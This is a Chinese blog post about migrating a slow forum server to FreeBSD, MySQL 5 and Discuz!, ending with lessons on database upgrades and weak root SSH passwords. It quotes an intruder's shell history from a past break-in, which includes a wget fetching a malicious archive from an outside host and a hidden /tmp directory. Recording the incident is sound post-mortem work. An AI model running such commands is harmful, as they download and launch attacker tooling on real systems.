迁移项目

最近做了一个项目,闲着无事,整理一下做个总结。

某网站,平台为Redhatas 3.0 apache2.0 php4.1 mysql4.0,系统主要的负载集中在论坛上,该论坛为较早版本的改版Vbb。高峰时段负载一度超过500,缓存占用80%以上。后来由于系统允许root远程SSH登录,同时使用了简单密码,该网站被强拆密码后下载了恶意程序。操作历史为:

187 wget apocalipsa.org/congi/vic.zip
188 cd /tmp/.” ”
189 ls -a 190 cd /tmp/.” ”
191 l s-a
192 ls -a
193 vi go.sh
194 :wq
195 cd /tmp/.” ”
196 screen
197 ./go.sh 203
198 cd /tmp/.” ”
199 sls -a
200 ls -a
201 cat vuln.txt

重新做系统时采用了FreeBSD6.2,考虑到兼容问题,一开始数据库还是用的mysql4.0.23,Apache 2.2.4_2 php4.4.4。系统一出来发现一旦负载超过30就几乎无法操作了。考虑到数据库比较旧的问题,决定首先升级数据库。

数据库升级的还算比较顺利——至少没有出现兼容问题。升级后忽然发现负载竟然惊人的回落,缓存也只有10%左右,看来5.x的新引擎真的不是吹的。

数据库是升级了,响应速度仍然不够乐观,设置了一个mysql的long-time-log,记录了3天的超时查询,发现vbb的sql语句真的很令人汗颜——一条4层left jion命令,几条命令的长度竟然超过1000个字符……

费了不少的力气将论坛移植到了discuz!,响应时间在0.1秒以下,问题总算解决。

总结:

  1. 在保证兼容性的基础上尽量使用更高版本的数据库
  2. 允许root远程直接登录的同时,使用弱口令的后果是灾难性的
  3. mysql很不适合做跨表查询,如果你的程序有太多的跨表查询,要么请用postgresql,要么重新设计你的数据结构。
  4. 有的时候更新软件比升级硬件更加有效果,何乐不为?
anyShare分享到:
          

  1. No comments yet.
(will not be published)
*